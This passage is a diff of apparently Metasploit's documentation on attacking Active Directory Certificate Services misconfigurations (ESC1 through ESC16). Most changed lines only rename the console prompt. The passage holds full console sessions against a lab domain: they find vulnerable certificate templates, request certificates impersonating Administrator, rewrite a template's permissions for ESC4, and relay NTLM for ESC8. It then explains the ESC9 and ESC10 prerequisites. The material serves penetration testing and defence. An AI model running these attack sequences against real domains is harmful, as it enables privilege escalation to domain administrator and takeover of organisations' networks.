- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc10]]
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC interface is allowed due to lack of
the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
- [Relaying to AD Certificate Services over
@@ -115,9 +124,10 @@ Later, additional techniques were disclosed by security researchers:
manipulation
- [EKUwu: Not just another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc15]]
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC13 and ESC15. As such, this page only
covers exploiting that subset of ESC flaws.
- ESC16 - Security Extension Disabled on CA (Globally)
- [ESC16 - Security Extension Disabled on CA](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc16-security-extension-disabled-on-ca-globally)
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, ESC4, ESC8, ESC9, ESC10, ESC13, ESC15 and ESC16.
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc16]]
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
as the diagram notes above. This is because in ESC1, one has control over the
@@ -207,8 +217,8 @@ This will cause the module to log into the LDAP server on the target DC, and lis
as well as the permissions that are required to enroll in these certificate templates. The following is a sample output of running this against a test server:
```msf
msf6 > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
msf > use auxiliary/gather/ldap_esc_vulnerable_cert_finder
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > show options
Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
@@ -229,15 +239,15 @@ Module options (auxiliary/gather/ldap_esc_vulnerable_cert_finder):
View the full module info with the info, or info -d command.
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
DOMAIN => DAFOREST
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
USERNAME => normaluser
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
PASSWORD => normalpass
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[*] Running module against 172.30.239.85
[*] Discovering base DN automatically
@@ -318,7 +328,7 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
[*] Enrollment SIDs:
[*] * S-1-5-11 (Authenticated Users)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
```
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However,
@@ -357,24 +367,24 @@ If we know the domain name is `daforest.com` and the domain administrator of thi
quickly set this up:
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Template
CERT_TEMPLATE => ESC1-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
ALT_UPN => Administrator@daforest.com
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -383,7 +393,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -401,20 +411,20 @@ To do this we will use the `ipcr_cert` module and we will set the usual options,
For the first run, we will set the usual `RHOSTS`, `CA`, and `CERT_TEMPLATE` details, being sure to set `CERT_TEMPLATE` to the vulnerable `ESC2-Template` certificate template, and supply valid SMB login credentials. This will grant us a certificate for our current user that is based off of the vulnerable `ESC2-Template`:
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
CERT_TEMPLATE => ESC2-Template
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -444,7 +454,7 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -453,7 +463,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
msf auxiliary(admin/dcerpc/icpr_cert) > loot
Loot
====
@@ -462,13 +472,13 @@ host service type name content info
---- ------- ---- ---- ------- ---- ----
windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Next, we need to use the PFX file that we got to request another certificate to authenticate on behalf of another user. We will use the `PFX` option to specify the PFX file, and the `ON_BEHALF_OF` setting to specify the user we would like to authenticate on behalf of. Finally we will change the certificate template to another certificate template that we are able to enroll in. The default `User` certificate should work here since it allows enrollment by any authenticated domain user.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -498,13 +508,13 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
ON_BEHALF_OF => DAFOREST\Administrator
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
PFX => /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -537,7 +547,7 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -546,7 +556,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
msf auxiliary(admin/dcerpc/icpr_cert) > loot
Loot
====
@@ -556,7 +566,7 @@ host service type name content info
windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -592,8 +602,8 @@ Narrowing this list down to those we can actually enroll in as users, this leave
We'll first get the cert using `ipcr_cert` with the `ESC3-Template1` certificate.
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -623,19 +633,19 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
SMBDomain => DAFOREST
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1
CERT_TEMPLATE => ESC3-Template1
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -644,7 +654,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
msf auxiliary(admin/dcerpc/icpr_cert) > loot
Loot
====
@@ -654,17 +664,17 @@ host service type name content info
windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216173718_default_unknown_windows.ad.cs_580032.pfx
windows.ad.cs certificate.pfx application/x-pkcs12 DAFOREST\normal Certificate /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
PFX => /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
ON_BEHALF_OF => DAFOREST\Administrator
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -697,9 +707,9 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -708,15 +718,15 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174559_default_unknown_windows.ad.cs_570105.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Just to show this is also possible with `ESC3-Template2` here is a snippet showing that also works:
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2
CERT_TEMPLATE => ESC3-Template2
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
msf auxiliary(admin/dcerpc/icpr_cert) > show options
Module options (auxiliary/admin/dcerpc/icpr_cert):
@@ -749,7 +759,7 @@ Auxiliary action:
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[*] 172.30.239.85:445 - Requesting a certificate...
@@ -758,7 +768,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216180342_default_unknown_windows.ad.cs_390825.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -774,20 +784,20 @@ the `ESC4-Test` certificate template does not allow the certificate's subject na
`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).
```msf
msf6 > use auxiliary/admin/dcerpc/icpr_cert
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
msf > use auxiliary/admin/dcerpc/icpr_cert
msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
SMBUser => normaluser
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
SMBPass => normalpass
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
CA => daforest-WIN-BR0CCBA815B-CA
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
ALT_UPN => Administrator@daforest.com
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[-] 172.30.239.85:445 - There was an error while requesting the certificate.
@@ -796,7 +806,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
@@ -805,20 +815,20 @@ update the object in Active Directory. The local certificate template data can b
descriptor.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
RHOSTS => 172.30.239.85
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
USERNAME => normaluser
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
PASSWORD => normalpass
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
ACTION => UPDATE
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
msf auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
msf auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 172.30.239.85
[+] Successfully bound to the LDAP server!
@@ -830,32 +840,32 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
msf auxiliary(admin/ldap/ad_cs_cert_template) >
```
Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut
to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds.
```msf
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
msf auxiliary(admin/ldap/ad_cs_cert_template) > previous
msf auxiliary(admin/dcerpc/icpr_cert) > run
[*] Running module against 172.30.239.85
[+] 172.30.239.85:445 - The requested certificate was issued.
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
[*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
[*] Auxiliary module execution completed
msf6 auxiliary(admin/dcerpc/icpr_cert) >
msf auxiliary(admin/dcerpc/icpr_cert) >
```
Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by
setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run.
```msf
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
msf auxiliary(admin/dcerpc/icpr_cert) > previous
msf auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
msf auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 172.30.239.85
[+] Successfully bound to the LDAP server!
@@ -866,7 +876,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
msf auxiliary(admin/ldap/ad_cs_cert_template) >
```
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
@@ -892,10 +902,10 @@ In the following example the AUTO mode is used to issue a certificate for the MS
authenticated.
```msf
msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
msf6 auxiliary(server/relay/esc8) > run
msf auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
msf auxiliary(server/relay/esc8) > run
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/relay/esc8) >
msf auxiliary(server/relay/esc8) >
[*] SMB Server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.159.129
@@ -921,6 +931,392 @@ msf6 auxiliary(server/relay/esc8) >
[*] Identity: MSFLAB\smcintyre - All targets relayed to
```
# Overview of exploiting ESC9 and ESC10 with Metasploit
ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
`userPrincipalName` or `dNSHostName` attribute of "user2". In order to update the attribute, we need to authenticate
via LDAP - which is a unique requirement compared to the other ESC techniques and is why there is a separated
module called `esc_update_ldap_object` which combines the attribute update via LDAP and certificate issuance process.
If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
based on that value. Therefore if we can update "user2"'s UPN to "Administrator" and then request a certificate on
behalf of "user2" we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
ESC10 minus a number of details we'll get into.
It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
Microsoft attempts to patch CVE-202226923 (aka Certifried). During this effort they implemented the new
`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
and certificate template flags.
## StrongCertificateBindingEnforcement
Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
| Setting | Method | Strength assessment |
| ------- |--------------------------------------------------------------------------------------------------|---------------------|
| 0 | No strong certificate mapping checks are done | weak |
| 1 | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak |
| 2 | Full Enforcement Mode (No weak mappings allowed) | strong |
In order to exploit these certificate misconfiguration we will need the value of `StrongCertificateBindingEnforcement` to be either `0` or `1`.
If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
## CertificateMappingMethods
Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
| Bit | Setting | Method | Strength assessment |
| --- | ------- | ------------------------------------- | ------------------- |
| 1 | 0x0001 | Subject/Issuer certificate mapping | weak |
| 2 | 0x0002 | Issuer certificate mapping | weak |
| 3 | 0x0004 | UPN certificate mapping | weak |
| 4 | 0x0008 | S4U2Self certificate mapping | strong |
| 5 | 0x0010 | S4U2Self explicit certificate mapping | strong |
| 1-5 | 0x001F | All of the above values | weak |
In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
## CT_FLAG_NO_SECURITY_EXTENSION
Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
## Changing userPrincipalName vs dNSHostName
Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
attribute, only machine accounts do.
# Exploiting ESC9
## ESC9 Scenario 1
Pre-requisites:
- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
- The same vulnerable template has a client authentication EKU
- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
```
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
...
[+] Template: ESC9-Template
[*] Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
[*] Manager Approval: Disabled
[*] Required Signatures: 0
[!] Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
[*] Notes:
[*] * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
[*] Certificate Template Write-Enabled SIDs:
[*] * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
[*] * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
[*] * S-1-5-11 (Authenticated Users)
